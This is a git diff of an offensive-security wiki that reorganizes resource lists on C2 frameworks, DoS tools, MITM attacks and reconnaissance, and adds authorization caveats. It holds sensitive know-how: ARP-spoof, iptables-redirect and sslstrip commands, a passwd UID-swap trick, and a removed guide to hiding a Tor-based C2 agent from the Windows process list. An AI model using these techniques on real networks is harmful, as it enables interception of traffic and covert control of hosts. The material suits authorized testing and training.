PS Empire Resources -* [https://www.powershellempire.com/](https://www.powershellempire.com/) - Legacy site +* [https://www.powershellempire.com/](https://www.powershellempire.com/) - Legacy site; prefer the current BC Security project links. * [https://www.bc-security.org/post/overview-of-empire-4-0-and-c/](https://www.bc-security.org/post/overview-of-empire-4-0-and-c/) * [DeathStar](https://github.com/byt3bl33d3r/DeathStar) - A Python script that uses [Empire's](https://github.com/BC-SECURITY/Empire) RESTful API to automate gaining Domain and/or Enterprise Admin rights in Active Directory environments using some of the most common offensive TTPs. * [Starkiller](https://github.com/BC-SECURITY/Starkiller) - Starkiller is a Frontend for [Powershell Empire](https://github.com/BC-SECURITY/Empire/). It is an Electron application written in VueJS. -* [https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) - Tricks write up from one of the original authors of Emipre. +* [https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) - Tricks write-up from one of the original Empire authors. * [https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101) * [https://www.hackingarticles.in/empire-for-pentester-active-directory-enumeration/](https://www.hackingarticles.in/empire-for-pentester-active-directory-enumeration/) * [https://www.youtube.com/watch?v=zFlsxrGMScE](https://www.youtube.com/watch?v=zFlsxrGMScE) -* [https://tryhackme.com/room/rppsempire](https://tryhackme.com/room/rppsempire) * _PTFM: Empire Commands - pg. 162_ * _PTFM: Persistence with Metasploit/Empire - pg. 26_ * _PTFM: Host Enumeration with Metasploit/Empire - pg. 46_ * Can be incorporated in Empire: * [https://github.com/threatexpress/red-team-scripts](https://github.com/threatexpress/red-team-scripts) -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ * _PTFM: C2 Obfuscation- pg. 64_ * _PTFM: Data Exfiltration via Web Services - pg. 68_ * _Advanced Penetration Testing - pg. 50_ @@ -137,7 +125,11 @@ Empire was formerly an abandoned project that BC-Securty has revived. Please be All-in-one Toolkits -* [Sn1per](https://github.com/1N3/Sn1per) - Discover the attack surface and prioritize risks with our continuous Attack Surface Management (ASM) platform - Sn1per Professional. For more information, go to [https://xerosecurity.com](https://xerosecurity.com). +Sn1per is maintained with recon frameworks. + +{% content-ref url="../scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %} * [legion](https://github.com/carlospolop/legion) - Legion is a tool that uses several well-known opensource tools to automatically, semi-automatically or _manually_ enumerate the most frequent found services running in machines that you could need to pentest. Written by Carlos Pollop, the creator of [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), and [book.hacktricks](https://book.hacktricks.xyz/), everything this guy makes is gold. Highest of recommendations * [celerystalk](https://github.com/sethsec/celerystalk) - celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs (aka _tasks_) while retaining full control of which tools you want to run. Super handy for stringing together all your favorite tools * [lscript](https://github.com/arismelachroinos/lscript) - Lazy Script: This is a script for Kali Linux that automates many procedures about wifi penetration and hacking. diff --git a/red-offensive/exploitation-and-targets/special-targets.md b/red-offensive/exploitation-and-targets/special-targets.md index b44ba9f..0f63f47 100644 --- a/red-offensive/exploitation-and-targets/special-targets.md +++ b/red-offensive/exploitation-and-targets/special-targets.md @@ -93,7 +93,7 @@ Copies configuration files from Cisco devices running SNMP. * [https://akenofu.gitbook.io/hackallthethings/mobile-applications/android](https://akenofu.gitbook.io/hackallthethings/mobile-applications/android) * [https://owasp.org/www-project-mobile-security-testing-guide/](https://owasp.org/www-project-mobile-security-testing-guide/) * [OWASP Mobile Security Testing Guide](https://mobile-security.gitbook.io/mobile-security-testing-guide/) - Bernhard Mueller et al. -* [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. +* [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - Mobile Security Framework (MobSF) is an automated mobile application security testing framework. It also has malware-analysis uses; keep defensive analysis workflows in DFIR. * [https://opensecurity.in/](https://opensecurity.in/) * [quark-engine](https://www.kali.org/tools/quark-engine/) - Quark-Engine is a full-featured Android analysis framework written in Python for hunting threat intelligence inside the APK, DEX files. * _Hacking: The next generation - Abusing mobile devices: Targeting your mobile workforce, pg. 149_ @@ -107,4 +107,8 @@ Copies configuration files from Cisco devices running SNMP. ## Printers -* [https://tryhackme.com/room/printerhacking101](https://tryhackme.com/room/printerhacking101) +Printer training rooms are maintained in Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} diff --git a/red-offensive/offensive-toolbox/README.md b/red-offensive/offensive-toolbox/README.md index 7e45f4c..f54a5f7 100644 --- a/red-offensive/offensive-toolbox/README.md +++ b/red-offensive/offensive-toolbox/README.md @@ -24,7 +24,7 @@ * [Awesome Lists Collection: Security Tools](https://github.com/tina1998612/Awesome-Security-Tool-List) * [A Complete Penetration Testing & Hacking Tools List for Hackers & Security Professionals : ](https://www.reddit.com/r/HowToHack/comments/ewm1ax/a\_complete\_penetration\_testing\_hacking\_tools\_list/) * [HowToHack](https://www.reddit.com/r/HowToHack/comments/ewm1ax/a\_complete\_penetration\_testing\_hacking\_tools\_list/) - Reddit's Penetration tools list -* [Rawsec's CyberSecurity Inventory](https://inventory.rawsec.ml/tools.html) +* [Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/) * [ToolsWatch.org – The Hackers Arsenal Tools Portal](http://www.toolswatch.org/) * [The Penetration Testers Framework](https://github.com/trustedsec/ptf) - Installation script for a huge collection of security tools to be installed on any linux distro * [The only Penetration testing resources you need - kalitut](https://kalitut.com/penetration-testing-resources/) @@ -98,19 +98,20 @@
-Stress Testing (DDOS) +Authorized Stress Testing + +Only use these tools for explicitly authorized load, resilience, or lab testing. Do not run denial-of-service tooling against systems you do not own or have written permission to test. * [https://cheatsheetseries.owasp.org/cheatsheets/Denial\_of\_Service\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Denial\_of\_Service\_Cheat\_Sheet.html) * [https://github.com/ddosify/ddosify](https://github.com/ddosify/ddosify) - High-performance load testing tool, written in Golang. * [https://github.com/rozgo/anevicon](https://github.com/rozgo/anevicon) -* [https://sourceforge.net/projects/high-orbit-ion-cannon/](https://sourceforge.net/projects/high-orbit-ion-cannon/) -* [https://github.com/NewEraCracker/LOIC](https://github.com/NewEraCracker/LOIC) -* [https://github.com/649/Memcrashed-DDoS-Exploit](https://github.com/649/Memcrashed-DDoS-Exploit) +* **HOIC / LOIC / Memcrashed-style tools** - Historical denial-of-service tooling. Kept as references only; prefer legitimate load-testing tools such as Ddosify or Siege for authorized testing. * [https://github.com/gkbrk/slowloris](https://github.com/gkbrk/slowloris) * [https://github.com/epsylon/ufonet](https://github.com/epsylon/ufonet) * [https://github.com/s1l3nt78/Dark-Star](https://github.com/s1l3nt78/Dark-Star) * [https://github.com/LimerBoy/Impulse](https://github.com/LimerBoy/Impulse) * [https://github.com/RoseSecurity/DNS-Fender](https://github.com/RoseSecurity/DNS-Fender) +* [dos-over-tor](https://github.com/skizap/dos-over-tor) - Historical DoS-over-Tor reference. Keep as a cautionary archive item; do not use outside explicit, written authorization. * [goldeneye](https://www.kali.org/tools/goldeneye/) - GoldenEye is a HTTP DoS Test Tool. This tool can be used to test if a site is susceptible to Deny of Service (DoS) attacks. Is possible to open several parallel connections against a URL to check if the web server can be compromised. * [siege](https://www.kali.org/tools/siege/) - Siege is an regression test and benchmark utility. It can stress test a single URL with a user defined number of simulated users, or it can read many URLs into memory and stress them simultaneously. * [**DOS Attack Penetration Testing (Part 1)**](https://www.hackingarticles.in/dos-penetration-testing-part-1/) @@ -156,8 +157,6 @@ * [erfs](https://github.com/hackerschoice/erfs) - An easy-to-use, easy-to-setup, hassle-free secure file system with the encrypted data being stored on a remote cloud server without having to trust the server. * [https://hackerschoice.medium.com/thcs-encrypted-cloud-based-file-system-a39234bd7cac](https://hackerschoice.medium.com/thcs-encrypted-cloud-based-file-system-a39234bd7cac) * [LDAPmonitor](https://github.com/p0dalirius/LDAPmonitor) - Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration! -* [https://github.com/codingo/Interlace](https://github.com/codingo/Interlace) - Easily turn single threaded command line applications into a fast, multi-threaded application with CIDR and glob support. -
{% content-ref url="utility-commands.md" %} diff --git a/red-offensive/offensive-toolbox/utility-commands.md b/red-offensive/offensive-toolbox/utility-commands.md index 6f37e6a..d957843 100644 --- a/red-offensive/offensive-toolbox/utility-commands.md +++ b/red-offensive/offensive-toolbox/utility-commands.md @@ -10,8 +10,8 @@ There are far too many command options to list here. However there is a handy re * Open file you do not have permission for * In the folder, view owner, permissions and UUID * \# ls -la - * Add new user - * \# sudo add user pwn + * Add a new user + * \# sudo adduser pwn * Change the UUID of the new user to that of the user that created the file * \# sudo sed -i -e ‘s/\[pwnUUID]/\[targetUUID]/g’ /etc/passwd * Check the new UUID @@ -47,7 +47,8 @@ There are far too many command options to list here. However there is a handy re ## **WMIC** -* Impacket scripts - * [wmiquery.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmiquery.py) It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32\_account). - * [wmipersist.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmipersist.py) This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer spec +* Impacket scripts are maintained in the Offensive Toolbox Impacket section. + {% content-ref url="./" %} + [Offensive Toolbox](./) + {% endcontent-ref %} * _RTFM: WMIC Commands - pg. 20_ diff --git a/red-offensive/post-exploitation/c2-frameworks.md b/red-offensive/post-exploitation/c2-frameworks.md index 567c48e..f229709 100644 --- a/red-offensive/post-exploitation/c2-frameworks.md +++ b/red-offensive/post-exploitation/c2-frameworks.md @@ -9,8 +9,7 @@ These are NOT to be used in a malicious capacity and are for testing purposes on ## Command and Control Basics * The implant is the payload component of an exploit, which will be executed on the victim’s computer. Once an implant is running on the target system, it will attempt to call back to the C2 server periodically to check for new commands. -* The C2 servers that communicate with the implants on a victim system vary in complexity and functionality, but the basic functionality allows the attacker to queue up commands for the implant to execute. The C2 server commands typically deal with two areas: the implant configuration, and interacting with the infected host. -* The C2 servers that communicate with the implants on a victim system vary in complexity and functionality, but the basic functionality allows the attacker to queue up commands for the implant to execute. The C2 server commands typically deal with two areas: the implant configuration, and interacting with the infected host. Examples of this are changing the beacon timings and exfiltrating the Windows SAM file. Commands can be queued up with most C2 servers, allowing actions to be carried out at specific times; this could help to blend into network traffic at peak times, or to communicate when the security team have left work. +* C2 servers vary in complexity, but most allow operators to queue commands, change implant configuration, adjust beacon timing, and interact with a controlled host during an authorized test. * The C2 servers are typically configured to appear as if they’re running common services, such as HTTP or DNS. This helps the communications to appear like legitimate traffic, which will assist in avoiding detection if tools such as Snort or RSA's Netwitness are deployed and monitoring the victim’s network. * To further obfuscate network communications, most implants support domain fronting. Domain fronting is a technique that embeds the communications within a content delivery network (CDN). This results in the destination for traffic appearing to be trusted CDN networks like Cloudfront, Google, and Cloudflare. Using domain fronting, it is possible to quickly change CDNs if the Blue Team identify and block a particular CDN (although, this can be a challenge as it may block legitimate traffic). * _Advanced Penetration Testing: C2 Basics and Essentials - pg. 19_ @@ -41,7 +40,7 @@ Software for Adversary Simulations and Red Team Operations ## ****[**PoshC2**](https://github.com/nettitude/PoshC2/)**** -PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement. This is my framework of choice. +PoshC2 is a proxy-aware C2 framework used for red teaming, post-exploitation, and lateral movement.
@@ -96,7 +95,7 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://www.kali.org/tools/silenttrinity/](https://www.kali.org/tools/silenttrinity/) * [Mythic](https://github.com/its-a-feature/Mythic) - A cross-platform, post-exploit, red teaming framework built with python3, docker, docker-compose, and a web browser UI. * [https://github.com/MythicAgents/hermes](https://github.com/MythicAgents/hermes) - Swift 5 macOS agent -* [Kaodic](https://github.com/zerosum0x0/koadic) - Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10. +* [Koadic](https://github.com/zerosum0x0/koadic) - COM Command & Control Windows post-exploitation framework using Windows Script Host/JScript/VBScript. * [trevorc2](https://github.com/trustedsec/trevorc2) - Written by Dave Kennedy of TrustedSec, TrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil. * [Merlin](https://github.com/Ne0nd0g/merlin) - Merlin is a cross-platform post-exploitation C2 server and agent written in Go. * [https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21](https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21) @@ -104,7 +103,7 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://prismatica.io/guides/](https://prismatica.io/guides/) * [Diagon](https://github.com/Project-Prismatica/Diagon) - The Diagon Attack Framework is a Prismatica application containing the Ravenclaw, Gryffindor, and Slytherin remote access tools (RATs). * [Oculus](https://github.com/Project-Prismatica/Oculus) - Oculus is a malleable python-based C2 system allowing for instantiation of listeners for the purpose of communication with remote access tools (RATs). - * [Acheron](https://github.com/Acheron-VAF/Acheron) - Acheron is a RESTful vulnerability assessment and management framework built around search and dedicated to terminal extensibility. + * [Acheron](https://github.com/Acheron-VAF/Acheron) - RESTful vulnerability assessment framework. This is not a C2 framework, but is preserved here as an older adjacent offensive automation reference. * [Tiberium](https://github.com/0sm0s1z/Tiberium) - A Command and Control scanning tool * [Gdog](https://github.com/maldevel/gdog) (gcat replacement) - A stealthy Python based Windows backdoor that uses Gmail as a command and control server. This project was inspired by the gcat([https://github.com/byt3bl33d3r/gcat](https://github.com/byt3bl33d3r/gcat)) from byt3bl33d3r. * [DarkFinger-C2](https://github.com/hyp3rlinx/DarkFinger-C2/) - Windows TCPIP Finger Command / C2 Channel and Bypassing Security Software @@ -137,44 +136,16 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://www.hackingarticles.in/evilosx-rat-for-macos-osx/](https://www.hackingarticles.in/evilosx-rat-for-macos-osx/) * [serpentine](https://github.com/jafarlihi/serpentine) - serpentine is a Windows RAT (Remote Administration Tool) that lets you interact with the clients using a multiplatform RESTful C2 server. * [QuasarRAT](https://github.com/quasar/Quasar) - Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. -* [Remcos-Professional-Cracked-By-Alcatraz3222](https://github.com/cybertoxin/Remcos-Professional-Cracked-By-Alcatraz3222) - Remcos lets you extensively control and manage one or many computers remotely. -
{% embed url="https://youtu.be/kyueZUfSWO4" %} {% embed url="https://youtu.be/rffkJDcri18" %} -## Tor C2 - - A C2 server can be provisioned as a node within the Tor network and force the compromised host to connect to Tor when it comes online. +## Tor-Backed C2 -
+Tor-backed C2 is an offensive infrastructure pattern, but the Tor setup and OPSEC details belong in Grey Privacy/Tor/OPSEC. Keep C2-specific notes here and use the Grey section for Tor fundamentals. -How to Tor C2 - -* Torrc file - Tor stores its configuration in a file called torrc. - * In order to create a hidden service append the following lines to the torrc file - -``` -# Configure hidden service directory -HiddenServiceDir /home/username/tor_hidden -# C2 Web Port -HiddenServicePort 443 127.0.0.1:443 -# C2 SSH Port -HiddenServicePort 7022 127.0.0.1:7022 -#C2 Metasploit Listener -HiddenServicePort 8080 127.0.0.1:8080 -``` - -* The hidden service directory will be the place where our server will store the keys and should be outside the web server's root directory -* The next time Tor is started, two files will be created in the tor\_hidden directory. Those files are a prive\_key and a hostname file that contains a has of the public key -* When the C2 is live and being provisioned over the Tor network using this configuration, it can be accessed by C2 agents anywhere in the world. -* Configuring a C2 agent to use the Tor network - * Once the C2 server is configured to accept connections over Tor, the next step is to enable the C2 agents deployed on compromised machines to do so. - * The easiest way is to bundle tor.exe with the agent and execute ti without parameters. ◇ This will cause it to run in a hidden window and open a SOCKS proxy port on localhost 9050. - * Please rename so it is not immediately visible in the Windows process list - * Changes that need to be made ▪ Change teh SSH tunneling IPs from the Internet IPv4 addresses within the code to point to the .onion address mentioned previously. - * Tell the SSH SOCKS proxy to upstream to the Tor SOCKs proxy on TCP 9050 - -
+{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md b/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md index eb08671..367d2c2 100644 --- a/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md +++ b/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md @@ -60,7 +60,12 @@ * [Inveigh](https://github.com/Kevin-Robertson/Inveigh) - ​Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. * Can be used similarly to Responder and MultiRelay * [Espionage](https://github.com/DoubleThreatSecurity/Espionage) - ​Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. -* [BruteShark](https://github.com/odedshimon/BruteShark) - BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack. +BruteShark is maintained with packet analysis tools. It can support authorized credential-harvesting review after a MITM exercise, but its primary workflow is PCAP/NFAT analysis. + +{% content-ref url="../../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../../blue-defense/packet-analysis.md) +{% endcontent-ref %} + * [Yersina](https://github.com/tomac/yersinia) - ​A framework for layer 2 attacks * [StreamDivert](https://github.com/jellever/StreamDivert) - Redirecting (specific) TCP, UDP and ICMP traffic to another destination. * [PortBender](https://github.com/praetorian-inc/PortBender) - PortBender is a TCP port redirection utility that allows a red team operator to redirect inbound traffic destined for one TCP port (e.g., 445/TCP) to another TCP port (e.g., 8445/TCP). @@ -76,7 +81,7 @@ ## Network Level Attacks -[https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks](https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks)d +[https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks](https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks) {% tabs %} {% tab title="Arp Attacks" %} @@ -118,7 +123,8 @@ * We MITM the http connection before its redirected to SSL and add SLL functionality before sending the packets to the web server * When the server replies, ssl stripping intercepts the https tags before sending the packets to the through SSLstrip. * We will run SSLstrip on port 8080, then restart arpspoof and spoof the default gateway. - * ◇ # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 + * `iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080` + * [SSLStrip2](https://github.com/LeonardoNve/sslstrip2) - Historical SSLStrip variant. HSTS and modern browser behavior limit this technique heavily. * Now we start SSLstrip on the outgoing port. * \#sslstrip -l 8080 {% endtab %} @@ -243,7 +249,8 @@ See the Special Targets section for more tools on attacking Cisco Devices * Wait 30 seconds for it to discover network hosts. * net.probe off * net.show - * This will show you the targets on the network. Pay attention to your target IP. ◇ set http.proxy.sslstrip true + * This will show you the targets on the network. Pay attention to your target IP. + * set http.proxy.sslstrip true * set net.sniff.verbose false * set arp.spoof.targets TARGET\_IP * My example: diff --git a/red-offensive/red-purple-teaming.md b/red-offensive/red-purple-teaming.md index 2b46a40..57c10cd 100644 --- a/red-offensive/red-purple-teaming.md +++ b/red-offensive/red-purple-teaming.md @@ -10,10 +10,11 @@ * [https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/RT.md](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/RT.md) * [https://kwcsec.gitbook.io/the-red-team-handbook/](https://kwcsec.gitbook.io/the-red-team-handbook/) * [https://github.com/magoo/redteam-plan](https://github.com/magoo/redteam-plan) -* [https://tryhackme.com/module/red-team-fundamentals](https://tryhackme.com/module/red-team-fundamentals) -* [https://tryhackme.com/room/redteamfundamentals](https://tryhackme.com/room/redteamfundamentals) -* [https://tryhackme.com/room/redteamengagements](https://tryhackme.com/room/redteamengagements) -* [https://tryhackme.com/module/red-team-fundamentals](https://tryhackme.com/module/red-team-fundamentals) +Training rooms are maintained in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} ### Tools @@ -25,9 +26,12 @@ ### Adversary Emulation * Tool Collections - * [Atomic Red Team](https://atomicredteam.io/) - Atomic Red Team™ is a library of simple tests that every security team can execute to test their defenses. Tests are focused, have few dependencies, and are defined in a structured format that can be used by automation frameworks. - * [https://github.com/cyberbuff/TheAtomicPlaybook](https://github.com/cyberbuff/TheAtomicPlaybook) - * [https://docs.google.com/document/d/1c8\_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic](https://docs.google.com/document/d/1c8\_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic) + * Atomic Red Team is maintained in Blue Defense because its primary use in this guide is detection/control validation. It is still useful during purple-team exercises. + {% content-ref url="../blue-defense/" %} + [blue-defense](../blue-defense/) + {% endcontent-ref %} + * [The Atomic Playbook](https://github.com/cyberbuff/TheAtomicPlaybook) + * [Atomic Red Team Reference Document](https://docs.google.com/document/d/1c8_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic) * [stratus-red-team](https://github.com/DataDog/stratus-red-team) - Stratus Red Team is "[Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)™" for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner. * [caldera](https://github.com/mitre/caldera) - Automated Adversary Emulation Platform by MITRE * [https://www.kali.org/tools/caldera/](https://www.kali.org/tools/caldera/) diff --git a/red-offensive/scanning-active-recon/README.md b/red-offensive/scanning-active-recon/README.md index 7664bd4..bf35de9 100644 --- a/red-offensive/scanning-active-recon/README.md +++ b/red-offensive/scanning-active-recon/README.md @@ -1,709 +1,236 @@ # Reconnaissance and Scanning -## Passive Reconnaissance - -This section focuses on the very first part of a penetration test: Passive Reconnaissance. This is where you use all the tools and resources at your disposal to gather up all of the information you can on your target, without interacting with the target in anyway (no scanning). - -For more tools and resources on intelligence gathering outside of the below frameworks, please see the OSINT section under Cyber Intelligence. - -After your passive reconnaissance phase, the next step is active scanning of your target. This usually involves port scanning and scanning for any vulnerabilities that your target might have, preferably with out them noticing. Active scanning does have direct interaction with your target and does run the risk of being detected. There are ways to subtle scan your target and not draw too much attention. This can include slowing the rate of your scanning or performing them in such a way as to not create a full connection request that would trigger any defensive alerts. +This page focuses on active reconnaissance and scanning during authorized offensive testing. Passive OSINT, breach lookups, reputation checks, and general domain intelligence are maintained under Cyber Intelligence. {% content-ref url="../../cyber-intelligence/osint/" %} [osint](../../cyber-intelligence/osint/) {% endcontent-ref %} -For ease of collection, there are many Recon Frameworks available that can gather intel from multiple sources and leverage multiple tools. They are a great way to save time on your Recon tasks. - -{% hint style="info" %} -Note: Many Recon Frameworks have both passive and active reconnaissance capabilities. -{% endhint %} +For multi-tool recon suites and attack surface management platforms, use the Recon Frameworks page. {% content-ref url="recon-frameworks.md" %} [recon-frameworks.md](recon-frameworks.md) {% endcontent-ref %} -* [https://tryhackme.com/room/passiverecon](https://tryhackme.com/room/passiverecon) -* [https://tryhackme.com/room/redteamrecon](https://tryhackme.com/room/redteamrecon) -* _Penetration Testing: Information Gathering - pg.113_ +Web application scanning has its own section so web tooling does not get mixed into general network reconnaissance. -## Active Recon and Scanning - -The following section will contain scanning tools and resources such as port scanners, vulnerability scanners, and so much more! +{% content-ref url="../../web-app-hacking/scanning-utilities.md" %} +[scanning-utilities.md](../../web-app-hacking/scanning-utilities.md) +{% endcontent-ref %} -* [https://tryhackme.com/room/activerecon](https://tryhackme.com/room/activerecon) +## Attack Surface Mapping -### Attack Surface Mapping and Discovery +Attack surface mapping identifies exposed assets, services, and technologies that may be in scope for testing. Some tools combine passive discovery with active probing, so validate each tool against the engagement rules before running it. -Attack Surface Mapping is the process of discovering, identifying, and analyzing all potential attack vectors on an organization’s IT infrastructure. This helps to identify vulnerabilities and threats to the system, as well as helping to decide how best to protect the system from malicious attack and exploitation. Attack surface mapping involves analyzing the assets and services available on a network, determining the boundaries of the system, and looking for potential attack vectors and vulnerabilities. +* [Awesome Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) +* [OWASP Attack Surface Analysis Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html) +* [RedHunt Labs](https://redhuntlabs.com/) +* [Frameworthy](https://github.com/hasr00t/Frameworthy) - Collection of attack surface management tooling. +* [Amass](https://github.com/OWASP/Amass) - Network mapping and external asset discovery using open source information gathering and active reconnaissance techniques. + * [Hakluke's Amass Guide](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) + * [Dionach: How to Use OWASP Amass](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) +* [ProjectDiscovery](https://projectdiscovery.io/#/) - Open source tools often chained for bug bounty and external recon workflows. + * [nuclei](https://github.com/projectdiscovery/nuclei) + * [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) + * [subfinder](https://github.com/projectdiscovery/subfinder) + * [naabu](https://github.com/projectdiscovery/naabu) + * [httpx](https://github.com/projectdiscovery/httpx) + * [dnsx](https://github.com/projectdiscovery/dnsx) +* [AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) - Expands a target seed into related domains, hosts, and exposed services. +* [IVRE](https://ivre.rocks/) - Network recon framework built around Nmap, Masscan, ZGrab2, ZDNS, and Zeek. +* [Goby](https://github.com/gobysec/Goby) - Network security assessment tool for asset and vulnerability discovery. -The first step in attack surface mapping is asset discovery. This involves gathering information about the system, including the hardware, software, and services that are running on the network. This includes both internal and external assets, such as web applications, databases, and other services. This information can be gathered manually, or with the help of automated tools. +### Legacy or Caution -The next step is to identify the attack vectors. Attack vectors are the various methods and techniques attackers can use to gain access to the network and its services. These include physical access, remote access, phishing attacks, malware, and social engineering. Once the attack vectors have been identified, the security team can then analyze them to determine the potential for exploitation. +* [Intrigue Core](https://core.intrigue.io/) - Historical attack surface discovery framework. The open source component has not been actively maintained on GitHub since 2021 and has license caveats. +* [CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Cloud attack surface monitor with stale open issues and limited recent activity. +* [eReKon](https://github.com/slithery0/eReKon) - Web reconnaissance tool that appears incomplete or under active development; validate before relying on it. +* RiskIQ is now part of Microsoft. Treat older RiskIQ links as legacy branding and prefer current Microsoft Defender External Attack Surface Management references when needed. -The third step is to analyze the attack vectors and identify any vulnerabilities. This involves looking for any weaknesses in the system that could be exploited by an attacker. This can include weak passwords, unpatched software, and insecure configurations. Once the vulnerabilities have been identified, the security team can then decide on the best course of action to protect the system from potential attacks. +## Host and Asset Discovery -* [Awesome Lists Collection: Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) -* [https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html) -* [https://redhuntlabs.com/](https://redhuntlabs.com/) -* [https://github.com/hasr00t/Frameworthy](https://github.com/hasr00t/Frameworthy) - The best collection of Attack Surface Management tooling out there. - * Shout out to @hasr00t and thier amazing ASM Class. +Host discovery identifies live systems and services before deeper enumeration or exploitation. -{% hint style="info" %} -Many Recon Frameworks can be excellent for Attack Surface Management. -{% endhint %} +* [HackTricks: Discovering Hosts](https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts) +* [fierce](https://www.kali.org/tools/fierce/) - Locates non-contiguous IP space and hostnames before running heavier scanners. +* [hosthunter](https://www.kali.org/tools/hosthunter/) - Maps IP addresses to virtual hostnames using OSINT-style techniques. +* [arp-scan](https://www.kali.org/tools/arp-scan/) - Sends ARP requests on local networks. +* [netdiscover](https://www.kali.org/tools/netdiscover/) - Active/passive ARP reconnaissance. -{% content-ref url="recon-frameworks.md" %} -[recon-frameworks.md](recon-frameworks.md) -{% endcontent-ref %} +### Quick Commands -{% tabs %} -{% tab title="Amass" %} -### [Amass](https://github.com/OWASP/Amass) - -The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques. - -* Hakluke's Amass Guide - [https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) -* Dionach's Amass Guide - [https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) -* 